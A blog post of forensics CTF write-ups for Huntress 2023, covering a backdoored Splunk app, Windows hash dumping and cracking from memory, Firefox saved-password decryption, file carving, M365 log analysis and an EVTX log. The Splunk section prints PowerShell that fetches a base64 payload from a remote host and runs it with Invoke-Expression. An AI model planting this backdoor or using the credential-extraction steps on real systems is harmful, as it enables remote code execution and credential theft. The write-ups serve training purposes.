Accueil Writeups for Huntress 2023 Forensics challenges
Post
Annuler

Writeups for Huntress 2023 Forensics challenges

Backdoored Splunk

Description

You’ve probably seen Splunk being used for good, but have you seen it used for evil?

NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. The connection error to the container is part of the challenge.

Solution

The zip archive contains some data related to Splunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
.
├── app.manifest
├── appserver
│   └── static
│       ├── appIcon.png
│       └── appLogo.png
├── bin
│   ├── Invoke-MonitoredScript.ps1
│   ├── log.py
│   ├── netsh_address.bat
│   ├── powershell
│   │   ├── 2012r2-health.ps1
│   │   ├── 2012r2-repl-stats.ps1
│   │   ├── 2012r2-siteinfo.ps1
│   │   ├── dns-health.ps1
│   │   ├── dns-zoneinfo.ps1
│   │   ├── generate_windows_update_logs.ps1
│   │   ├── nt6-health.ps1
│   │   ├── nt6-repl-stat.ps1
│   │   └── nt6-siteinfo.ps1
│   ├── runpowershell.cmd
│   ├── user_account_control_property.py
│   ├── win_installed_apps.bat
│   ├── win_listening_ports.bat
│   ├── win_timesync_configuration.bat
│   └── win_timesync_status.bat
├── default
│   ├── app.conf
│   ├── eventtypes.conf
│   ├── inputs.conf
│   ├── macros.conf
│   ├── props.conf
│   ├── tags.conf
│   ├── transforms.conf
│   ├── wmi.conf
│   └── workflow_actions.conf
├── LICENSES
│   └── LicenseRef-Splunk-8-2021.txt
├── lookups
│   ├── dns_recordclass_lookup.csv
│   ├── msad_group_type.csv
│   ├── msdhcp_signatures.csv
│   ├── object_category_850.csv
│   ├── status_850.csv
│   ├── user_types.csv
│   ├── vendor_actions.csv
│   ├── windows_actions.csv
│   ├── windows_apps.csv
│   ├── windows_audit_changes_860.csv
│   ├── windows_dns_action_lookup.csv
│   ├── windows_dns_query_type_lookup.csv
│   ├── windows_endpoint_port_transport.csv
│   ├── windows_endpoint_service_service_name.csv
│   ├── windows_endpoint_service_service_type.csv
│   ├── windows_eventtypes.csv
│   ├── windows_privileges.csv
│   ├── windows_severities.csv
│   ├── windows_signatures_860.csv
│   ├── windows_signatures_substatus_850.csv
│   ├── windows_start_mode_lookup.csv
│   ├── windows_timesync_actions.csv
│   ├── windows_update_statii.csv
│   ├── windows_wineventlog_change_action_860.csv
│   ├── windows_wineventlog_change_object_fields_860.csv
│   ├── wmi_user_account_status.csv
│   ├── wmi_version_range.csv
│   ├── xmlsecurity_change_audit_and_account_management_860.csv
│   ├── xmlsecurity_eventcode_action.csv
│   ├── xmlsecurity_eventcode_action_multiinput.csv
│   └── xmlsecurity_eventcode_errorcode_action.csv
├── metadata
│   └── default.meta
├── README
│   └── transforms.conf.spec
├── README.txt
├── splunkbase.manifest
├── static
│   ├── appIcon_2x.png
│   ├── appIconAlt_2x.png
│   ├── appIconAlt.png
│   ├── appIconLg_2x.png
│   ├── appIconLg.png
│   └── appIcon.png
├── THIRDPARTY
└── VERSION

10 directories, 74 files

Of course if there is a backdoor there are chances that it is in the bin folder.

In the file bin/powershell/nt6-health.ps1 we can read those lines:

1
2
3
4
5
6
7
8
9
10
11
#
# Windows Version and Build #
#
$WindowsInfo = Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion"
# $PORT below is dynamic to the running service of the `Start` button
$OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content
if ($html -match '<!--(.*?)-->') {
    $value = $matches[1]
    $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
    Invoke-Expression $command
})

It is doing a web request to a domain with an authentication header, extracting a comment from the HTML content, decoding at as base64 then execute it.

Let’s use the Start button on the challenge page: it provides us a valid port for the chal.ctf.games domain.

Then let’s send a request with the credentials to see what we get:

1
curl http://chal.ctf.games:31106/ -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" -D-

We get the following HTML response:

1
<!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== -->

which decodes to:

1
echo flag{60bb3bfaf703e0fa36730ab70e115bd7}

Bad Memory

Description

A user came to us and said they forgot their password. Can you recover it? The flag is the MD5 hash of the recovered password wrapped in the proper flag format.

Solution

We have to download a 588M image.zip file. Once uncompressed we have a 4,5G image.bin file.

It doesn’t have a known file header but looking at strings it may be a dump of a filesystem.

My first attempt was at using binwalk to find a FS in it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ docker run -it --rm -v "$(pwd):/workspace" -w /workspace sheabot/binwalk -e image.bin
Unable to find image 'sheabot/binwalk:latest' locally
latest: Pulling from sheabot/binwalk
da7391352a9b: Pull complete
14428a6d4bcd: Pull complete
2c2d948710f2: Pull complete
d96aa108cf03: Pull complete
35ddc3df200f: Pull complete
aea14dd5cb16: Pull complete
1e670d9cddb3: Pull complete
9ba2470bcc7f: Pull complete
3d4751bc819f: Pull complete
84180c1b9f7f: Pull complete
7f9e11bbf4ad: Pull complete
Digest: sha256:f066ef908886c481a69b98eafb1638b21f46a4b1074acf1c7e7a5f36234b137a
Status: Downloaded newer image for sheabot/binwalk:latest

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
200853        0x31095         Certificate in DER format (x509 v3), header length: 4, sequence length: 1286
202143        0x3159F         Certificate in DER format (x509 v3), header length: 4, sequence length: 1495
204785        0x31FF1         Certificate in DER format (x509 v3), header length: 4, sequence length: 1269
206058        0x324EA         Certificate in DER format (x509 v3), header length: 4, sequence length: 1649
233014        0x38E36         Certificate in DER format (x509 v3), header length: 4, sequence length: 1286
234304        0x39340         Certificate in DER format (x509 v3), header length: 4, sequence length: 1495
236939        0x39D8B         Certificate in DER format (x509 v3), header length: 4, sequence length: 1265
238208        0x3A280         Certificate in DER format (x509 v3), header length: 4, sequence length: 1649
524592        0x80130         Certificate in DER format (x509 v3), header length: 4, sequence length: 961
536742        0x830A6         Certificate in DER format (x509 v3), header length: 4, sequence length: 6001
560638        0x88DFE         Certificate in DER format (x509 v3), header length: 4, sequence length: 673
562674        0x895F2         Certificate in DER format (x509 v3), header length: 4, sequence length: 10069
818867        0xC7EB3         Unix path: /home/vbox/vbox-6.1.10/out/debian/builddir/obj/VBoxVgaBios386/VBoxVgaBios386.sym
1421312       0x15B000        Microsoft executable, portable (PE)
1525668       0x1747A4        Certificate in DER format (x509 v3), header length: 4, sequence length: 5857
1544511       0x17913F        Certificate in DER format (x509 v3), header length: 4, sequence length: 15505
--- snip ---
6095070       0x5D00DE        Certificate in DER format (x509 v3), header length: 4, sequence length: 1256
6216775       0x5EDC47        Certificate in DER format (x509 v3), header length: 4, sequence length: 17880
6306096       0x603930        Certificate in DER format (x509 v3), header length: 4, sequence length: 887
6435624       0x623328        Ubiquiti firmware header, third party, ~CRC32: 0x0, version: "GL32"

Doesn’t seem the expected way… So it must be a memory dump (hence the challenge name).

Let’s get Volatility which is the most popular FOSS when it comes to memory forensics.

It can be a pain to use it for Linux forensics because there changes in kernels make it hard to use (as far as I experienced) but it is OK for Windows OS.

I found some tutorials on the web to extract Windows hashes using Volatility, but they weren’t up-to-date.

1
2
3
4
5
6
7
8
9
10
11
$ docker run -v $PWD:/workspace sk4la/volatility3 -f image.bin imageinfo
Volatility 3 Framework 2.0.1
usage: volatility [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]]
                  [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG]
                  [-o OUTPUT_DIR] [-q] [-r RENDERER] [-f FILE]
                  [--write-config] [--clear-cache] [--cache-path CACHE_PATH]
                  [--offline] [--single-location SINGLE_LOCATION]
                  [--stackers [STACKERS ...]]
                  [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]]
                  plugin ...
volatility: error: argument plugin: invalid choice imageinfo (choose from banners.Banners, configwriter.ConfigWriter, frameworkinfo.FrameworkInfo, isfinfo.IsfInfo, layerwriter.LayerWriter, linux.bash.Bash, linux.check_afinfo.Check_afinfo, linux.check_creds.Check_creds, linux.check_idt.Check_idt, linux.check_modules.Check_modules, linux.check_syscall.Check_syscall, linux.elfs.Elfs, linux.keyboard_notifiers.Keyboard_notifiers, linux.kmsg.Kmsg, linux.lsmod.Lsmod, linux.lsof.Lsof, linux.malfind.Malfind, linux.proc.Maps, linux.pslist.PsList, linux.pstree.PsTree, linux.tty_check.tty_check, mac.bash.Bash, mac.check_syscall.Check_syscall, mac.check_sysctl.Check_sysctl, mac.check_trap_table.Check_trap_table, mac.ifconfig.Ifconfig, mac.kauth_listeners.Kauth_listeners, mac.kauth_scopes.Kauth_scopes, mac.kevents.Kevents, mac.list_files.List_Files, mac.lsmod.Lsmod, mac.lsof.Lsof, mac.malfind.Malfind, mac.mount.Mount, mac.netstat.Netstat, mac.proc_maps.Maps, mac.psaux.Psaux, mac.pslist.PsList, mac.pstree.PsTree, mac.socket_filters.Socket_filters, mac.timers.Timers, mac.trustedbsd.Trustedbsd, mac.vfsevents.VFSevents, timeliner.Timeliner, windows.bigpools.BigPools, windows.cachedump.Cachedump, windows.callbacks.Callbacks, windows.cmdline.CmdLine, windows.crashinfo.Crashinfo, windows.dlllist.DllList, windows.driverirp.DriverIrp, windows.driverscan.DriverScan, windows.dumpfiles.DumpFiles, windows.envars.Envars, windows.filescan.FileScan, windows.getservicesids.GetServiceSIDs, windows.getsids.GetSIDs, windows.handles.Handles, windows.hashdump.Hashdump, windows.info.Info, windows.lsadump.Lsadump, windows.malfind.Malfind, windows.memmap.Memmap, windows.modscan.ModScan, windows.modules.Modules, windows.mutantscan.MutantScan, windows.netscan.NetScan, windows.netstat.NetStat, windows.poolscanner.PoolScanner, windows.privileges.Privs, windows.pslist.PsList, windows.psscan.PsScan, windows.pstree.PsTree, windows.registry.certificates.Certificates, windows.registry.hivelist.HiveList, windows.registry.hivescan.HiveScan, windows.registry.printkey.PrintKey, windows.registry.userassist.UserAssist, windows.skeleton_key_check.Skeleton_Key_Check, windows.ssdt.SSDT, windows.statistics.Statistics, windows.strings.Strings, windows.svcscan.SvcScan, windows.symlinkscan.SymlinkScan, windows.vadinfo.VadInfo, windows.vadyarascan.VadYaraScan, windows.verinfo.VerInfo, windows.virtmap.VirtMap, yarascan.YaraScan)

So let’s just use windows.hashdump.Hashdump:

1
2
3
4
5
6
7
8
9
10
$ docker run -v $PWD:/workspace sk4la/volatility3 -f /workspace/image.bin windows.hashdump.Hashdump
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished                                                                                              
User    rid     lmhash  nthash

Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        4cff1380be22a7b2e12d22ac19e2cdc0
congo   1001    aad3b435b51404eeaad3b435b51404ee        ab395607d3779239b83eed9906b4fb92

crackstation is the online tool of choice to crack NT hashes.

The cleartext password for congo is goldfish#.

1
2
$ echo -n "goldfish#" | md5sum 
2eb53da441962150ae7d3840444dfdde  -

So our flag is flag{2eb53da441962150ae7d3840444dfdde}.

We can go a little bit further by checking the OS version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ docker run -v $PWD:/workspace sk4la/volatility3 -f /workspace/image.bin windows.info.Info
Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished                                                                                              
Variable        Value

Kernel Base     0xf8047e200000
DTB     0x1aa000
Symbols file:///usr/local/lib/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/81BC5C377C525081645F9958F209C527-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf8047ee0f2a8
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2020-10-03 11:45:39
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Sun Aug 11 05:47:24 2069

Dumpster Fire

Description

We found all this data in the dumpster! Can you find anything interesting in here, like any cool passwords or anything? Check it out quick before the foxes get to it!

Solution

This is an archive of a filesystem with a lot of files (for a challenge).

However, there is a user called challenge and it doesn’t have much expect its .mozilla folder:

1
2
3
4
5
6
7
8
$ ls home/challenge -al
total 24
drwxr-xr-x 3 nico nico 4096 nov.   7  2020 .
drwxr-xr-x 3 nico nico 4096 nov.   7  2020 ..
-rw-r--r-- 1 nico nico  220 nov.   7  2020 .bash_logout
-rw-r--r-- 1 nico nico 3771 nov.   7  2020 .bashrc
drwxrwxr-x 3 nico nico 4096 nov.   7  2020 .mozilla
-rw-r--r-- 1 nico nico  807 nov.   7  2020 .profile

Using firefox_decrypt it is possible to extract saved passwords from the Firefox profile.

1
2
3
4
5
6
7
$ python3 firefox_decrypt/firefox_decrypt.py home/challenge/.mozilla/firefox/bc1m1zlr.default-release/
2023-10-09 15:45:52,284 - WARNING - profile.ini not found in home/challenge/.mozilla/firefox/bc1m1zlr.default-release/
2023-10-09 15:45:52,284 - WARNING - Continuing and assuming 'home/challenge/.mozilla/firefox/bc1m1zlr.default-release/' is a profile location

Website:   http://localhost:31337
Username: 'flag'
Password: 'flag{35446041dc161cf5c9c325a3d28af3e3}'

Opposable Thumbs

Description

We uncovered a database. Perhaps the flag is right between your fingertips!

Solution

The file doesn’t seem to match anything:

1
2
$ file thumbcache_256.db
thumbcache_256.db: data

However, scrolling the content with hexdump we can clearly see it constains some files like a PNG:

1
2
3
4
5
00000510  64 00 63 00 32 00 33 00  37 00 89 50 4e 47 0d 0a  |d.c.2.3.7..PNG..|
00000520  1a 0a 00 00 00 0d 49 48  44 52 00 00 01 00 00 00  |......IHDR......|
00000530  01 00 08 06 00 00 00 5c  72 a8 66 00 00 00 01 73  |.......\r.f....s|
00000540  52 47 42 00 ae ce 1c e9  00 00 00 04 67 41 4d 41  |RGB.........gAMA|
00000550  00 00 b1 8f 0b fc 61 05  00 00 5f b5 49 44 41 54  |......a..._.IDAT|

Let’s carve some files out of that db file. My first idea was to use binwalk which is a reference when it comes to analyzing firmwares:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ docker run -it --rm -v "/tmp/output:/workspace" -w /workspace sheabot/binwalk -M -B -e /workspace/thumbcache_256.db
Scan Time:     2023-10-14 13:15:14
Target File:   /workspace/thumbcache_256.db
MD5 Checksum:  6bb1234e0539286351563b4aebc577d0
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1306          0x51A           PNG image, 256 x 256, 8-bit/color RGBA, non-interlaced
1376          0x560           Zlib compressed data, compressed
26084         0x65E4          PNG image, 256 x 256, 8-bit/color RGBA, non-interlaced
26154         0x662A          Zlib compressed data, compressed
37474         0x9262          PNG image, 256 x 256, 8-bit/color RGBA, non-interlaced
37544         0x92A8          Zlib compressed data, compressed
55356         0xD83C          PNG image, 256 x 256, 8-bit/color RGBA, non-interlaced
55426         0xD882          Zlib compressed data, compressed
80032         0x138A0         JPEG image data, JFIF standard 1.01


Scan Time:     2023-10-14 13:15:15
Target File:   /workspace/_thumbcache_256.db.extracted/560
MD5 Checksum:  a7d60d15c626680ff66ad97255b26f4b
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


Scan Time:     2023-10-14 13:15:15
Target File:   /workspace/_thumbcache_256.db.extracted/662A
MD5 Checksum:  840b3160525010ae9515a5915233236b
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


Scan Time:     2023-10-14 13:15:15
Target File:   /workspace/_thumbcache_256.db.extracted/92A8
MD5 Checksum:  48940844300226858a35f90f9d3dcaef
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


Scan Time:     2023-10-14 13:15:15
Target File:   /workspace/_thumbcache_256.db.extracted/D882
MD5 Checksum:  a7d60d15c626680ff66ad97255b26f4b
Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

Disappointing: binwalk actually see the files but did not extract everything.

Instead of going deeper into this issue I chose to use an older tool called foremost which works great for files recovery (PhotoRec is another solution).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ foremost -o yolo thumbcache_256.db
Processing: thumbcache_256.db
|*|
$ tree yolo
yolo
├── audit.txt
├── jpg
│   └── 00000156.jpg
└── png
    ├── 00000002.png
    ├── 00000050.png
    ├── 00000073.png
    └── 00000108.png

2 directories, 6 files

The JPG file contains the flag:

Flag in carved JPG file

Rogue Inbox

Description

You’ve been asked to audit the Microsoft 365 activity for a recently onboarded as a customer of your MSP.

Your new customer is afraid that Debra was compromised. We received logs exported from Purview… can you figure out what the threat actor did? It might take some clever log-fu!

Solution

You get a CSV file which looks like that:

RecordId,CreationDate,RecordType,Operation,UserId,AuditData,AssociatedAdminUnits,AssociatedAdminUnitsNames
538815b7-273a-4a3f-9957-c86897966eec,9/20/2023 4:05:03 AM,8,Add service principal.,Certificate,"{""CreationTime"":""2023-09-20T04:05:03"",""Id"":""538815b7-273a-4a3f-9957-c86897966eec"",""Operation"":""Add service principal."",""OrganizationId"":""df233d94-fed3-4436-bf9a-a799fb85a159"",""RecordType"":8,""ResultStatus"":""Success"",""UserKey"":""Not Available"",""UserType"":4,""Version"":1,""Workload"":""AzureActiveDirectory"",""ObjectId"":""66244124-575c-4284-92bc-fdd00e669cea"",""UserId"":""Certificate"",""AzureActiveDirectoryEventType"":1,""ExtendedProperties"":[{""Name"":""additionalDetails"",""Value"":""{\""AppId\"":\""66244124-575c-4284-92bc-fdd00e669cea\""}""},{""Name"":""extendedAuditEventCategory"",""Value"":""ServicePrincipal""}],""ModifiedProperties"":[{""Name"":""AccountEnabled"",""NewValue"":""[\r\n  true\r\n]"",""OldValue"":""[]""},{""Name"":""AppAddress"",""NewValue"":""[\r\n  {\r\n    \""AddressType\"": 0,\r\n    \""Address\"": \""https:\/\/iamtenantcrawler.microsoft.com\"",\r\n    \""ReplyAddressClientType\"": 1,\r\n    \""ReplyAddressIndex\"": null,\r\n    \""IsReplyAddressDefault\"": false\r\n  },\r\n  {\r\n    \""AddressType\"": 4,\r\n    \""Address\"": \""https:\/\/iamtenantcrawler.microsoft.com\/reply\"",\r\n    \""ReplyAddressClientType\"": 0,\r\n    \""ReplyAddressIndex\"": null,\r\n    \""IsReplyAddressDefault\"": false\r\n  }\r\n]"",""OldValue"":""[]""},{""Name"":""AppPrincipalId"",""NewValue"":""[\r\n  \""66244124-575c-4284-92bc-fdd00e669cea\""\r\n]"",""OldValue"":""[]""},{""Name"":""DisplayName"",""NewValue"":""[\r\n  \""IAMTenantCrawler\""\r\n]"",""OldValue"":""[]""},{""Name"":""ServicePrincipalName"",""NewValue"":""[\r\n  \""66244124-575c-4284-92bc-fdd00e669cea\""\r\n]"",""OldValue"":""[]""},{""Name"":""Credential"",""NewValue"":""[\r\n  {\r\n    \""CredentialType\"": 2,\r\n    \""KeyStoreId\"": \""291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"",\r\n    \""KeyGroupId\"": \""1b688382-21fe-4a45-af46-11c18288f363\""\r\n  }\r\n]"",""OldValue"":""[]""},{""Name"":""Included Updated Properties"",""NewValue"":""AccountEnabled, AppAddress, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"",""OldValue"":""""},{""Name"":""TargetId.ServicePrincipalNames"",""NewValue"":""66244124-575c-4284-92bc-fdd00e669cea"",""OldValue"":""""}],""Actor"":[{""ID"":""Microsoft Azure AD Internal - Jit Provisioning"",""Type"":1},{""ID"":""Certificate"",""Type"":2},{""ID"":""Other"",""Type"":2}],""ActorContextId"":""df233d94-fed3-4436-bf9a-a799fb85a159"",""InterSystemsId"":""a76a8e12-a838-4350-bce2-3c1a7196670b"",""IntraSystemId"":""602f9fdd-4b8f-4734-a2ca-727fac72358e"",""SupportTicketId"":"""",""Target"":[{""ID"":""ServicePrincipal_691e82fd-babf-451c-8a3d-826f69957567"",""Type"":2},{""ID"":""691e82fd-babf-451c-8a3d-826f69957567"",""Type"":2},{""ID"":""ServicePrincipal"",""Type"":2},{""ID"":""IAMTenantCrawler"",""Type"":1},{""ID"":""66244124-575c-4284-92bc-fdd00e669cea"",""Type"":2},{""ID"":""66244124-575c-4284-92bc-fdd00e669cea"",""Type"":4}],""TargetContextId"":""df233d94-fed3-4436-bf9a-a799fb85a159""}",,
adba4658-fe8e-495a-bfb5-edb4ad398956,9/21/2023 7:34:07 AM,8,Add service principal.,Certificate,"{""CreationTime"":""2023-09-21T07:34:07"",""Id"":""adba4658-fe8e-495a-bfb5-edb4ad398956"",""Operation"":""Add service principal."",""OrganizationId"":""df233d94-fed3-4436-bf9a-a799fb85a159"",""RecordType"":8,""ResultStatus"":""Success"",""UserKey"":""Not Available"",""UserType"":4,""Version"":1,""Workload"":""AzureActiveDirectory"",""ObjectId"":""d7097cd1-c779-44d0-8c71-ab1f8386a97e"",""UserId"":""Certificate"",""AzureActiveDirectoryEventType"":1,""ExtendedProperties"":[{""Name"":""additionalDetails"",""Value"":""{\""AppId\"":\""d7097cd1-c779-44d0-8c71-ab1f8386a97e\""}""},{""Name"":""extendedAuditEventCategory"",""Value"":""ServicePrincipal""}],""ModifiedProperties"":[{""Name"":""AccountEnabled"",""NewValue"":""[\r\n  true\r\n]"",""OldValue"":""[]""},{""Name"":""AppPrincipalId"",""NewValue"":""[\r\n  \""d7097cd1-c779-44d0-8c71-ab1f8386a97e\""\r\n]"",""OldValue"":""[]""},{""Name"":""DisplayName"",""NewValue"":""[\r\n  \""Microsoft Office Licensing Service Agents\""\r\n]"",""OldValue"":""[]""},{""Name"":""ServicePrincipalName"",""NewValue"":""[\r\n  \""d7097cd1-c779-44d0-8c71-ab1f8386a97e\""\r\n]"",""OldValue"":""[]""},{""Name"":""Credential"",""NewValue"":""[\r\n  {\r\n    \""CredentialType\"": 2,\r\n    \""KeyStoreId\"": \""291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"",\r\n    \""KeyGroupId\"": \""b3893f71-2721-4260-bfe1-df8021720b61\""\r\n  }\r\n]"",""OldValue"":""[]""},{""Name"":""Included Updated Properties"",""NewValue"":""AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"",""OldValue"":""""},{""Name"":""TargetId.ServicePrincipalNames"",""NewValue"":""d7097cd1-c779-44d0-8c71-ab1f8386a97e"",""OldValue"":""""}],""Actor"":[{""ID"":""Microsoft Azure AD Internal - Jit Provisioning"",""Type"":1},{""ID"":""Certificate"",""Type"":2},{""ID"":""Other"",""Type"":2}],""ActorContextId"":""df233d94-fed3-4436-bf9a-a799fb85a159"",""InterSystemsId"":""b8e67b42-963b-44de-a0f0-4cd952995af1"",""IntraSystemId"":""e2816224-e9c3-45b7-8238-1501690b7b21"",""SupportTicketId"":"""",""Target"":[{""ID"":""ServicePrincipal_0d3e6e97-2328-4e47-8265-b21569e6413c"",""Type"":2},{""ID"":""0d3e6e97-2328-4e47-8265-b21569e6413c"",""Type"":2},{""ID"":""ServicePrincipal"",""Type"":2},{""ID"":""Microsoft Office Licensing Service Agents"",""Type"":1},{""ID"":""d7097cd1-c779-44d0-8c71-ab1f8386a97e"",""Type"":2},{""ID"":""d7097cd1-c779-44d0-8c71-ab1f8386a97e"",""Type"":4}],""TargetContextId"":""df233d94-fed3-4436-bf9a-a799fb85a159""}",,

Basically those are some event logs and details of the actions are stored using JSON format.

With a grep on flag I can notice entries like this one:

1
""Parameters"":[{""Name"":""AlwaysDeleteOutlookRulesBlob"",""Value"":""False""},{""Name"":""Force"",""Value"":""False""},{""Name"":""From"",""Value"":""flag@ctf.com""},{""Name"":""MoveToFolder"",""Value"":""Conversation History""},{""Name"":""Name"",""Value"":""6""},{""Name"":""MarkAsRead"",""Value"":""True""},{""Name"":""StopProcessingRules"",""Value"":""True""}]

Notice the dictionary where the key is named Name and the values is a single character… There are multiple instances in the file.

Let’s extract those:

1
2
3
4
5
6
7
8
9
10
11
12
import sys
import json

with open("json.json") as fd:
    for line in fd:
        if "flag@ctf.com" in line:
            line = line.strip()
            data = json.loads(line)
            for parameter in data["Parameters"]:
                if parameter["Name"] == "Name":
                    sys.stdout.write((parameter["Value"]))
print()

And voilà: flag{24c4230fa7d50eef392b2c850f74b0f6}

Texas Chainsaw Massacre: Tokyo Drift

Description

Ugh! One of our users was trying to install a Texas Chainsaw Massacre video game, and installed malware instead. Our EDR detected a rogue process reading and writing events to the Application event log. Luckily, it killed the process and everything seems fine, but we don’t know what it was doing in the event log.

The EVTX file is attached. Are you able to find anything malicious?

Solution

We are given a Windows Event file:

1
2
$ file Application\ Logs.evtx
Application Logs.evtx: MS Windows Vista Event Log, 3 chunks (no. 2 in use), next record no. 268

We can get some tools to extract information using the package manager:

1
sudo apt-get install libevtx-utils

Using evtxexport will output each even on the standard output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ evtxexport Application\ Logs.evtx 
evtxexport 20181227

Event number                    : 1
Written time                    : Oct 10, 2023 15:54:18.664185000 UTC
Event level                     : Information (4)
Computer name                   : DESKTOP-JU2PNRI
Source name                     : Microsoft-Windows-CAPI2
Event identifier                : 0x00001001 (4097)
Number of strings               : 2
String: 1                       : CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE
String: 2                       : B1BC968BD4F49D622AA89A81F2150152A41D829C

Event number                    : 2
Written time                    : Oct 10, 2023 15:54:21.410805100 UTC
Event level                     : Information (4)
Computer name                   : DESKTOP-JU2PNRI
Source name                     : Microsoft-Windows-CAPI2
Event identifier                : 0x00001001 (4097)
Number of strings               : 2
String: 1                       : OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US
String: 2                       : AD7E1C28B064EF8F6003402014C3D0E3370EB58A

Event number                    : 3
Written time                    : Oct 10, 2023 15:54:22.143524300 UTC
Event level                     : Information (4)
Computer name                   : DESKTOP-JU2PNRI
Source name                     : Microsoft-Windows-CAPI2
Event identifier                : 0x00001001 (4097)
Number of strings               : 2
String: 1                       : CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
String: 2                       : 3679CA35668772304D30A5FB873B0FA77BB70D54
--- snip ---

We can see that the real content is hex-encoded.

Let’s redirect the output to a txt file and write a Python script to decode everything in hexadecimal:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re
import binascii

text = open("events.txt").read()

hex_pattern = r'\b[0-9a-fA-F]+\b'

hex_matches = re.findall(hex_pattern, text)

for hex_string in hex_matches:
    try:
        decoded_text = binascii.unhexlify(hex_string).decode('utf-8', errors="ignore")
        print(decoded_text)
    except binascii.Error:
        pass

Out of all the information there is a big obfuscated Powershell script:

1
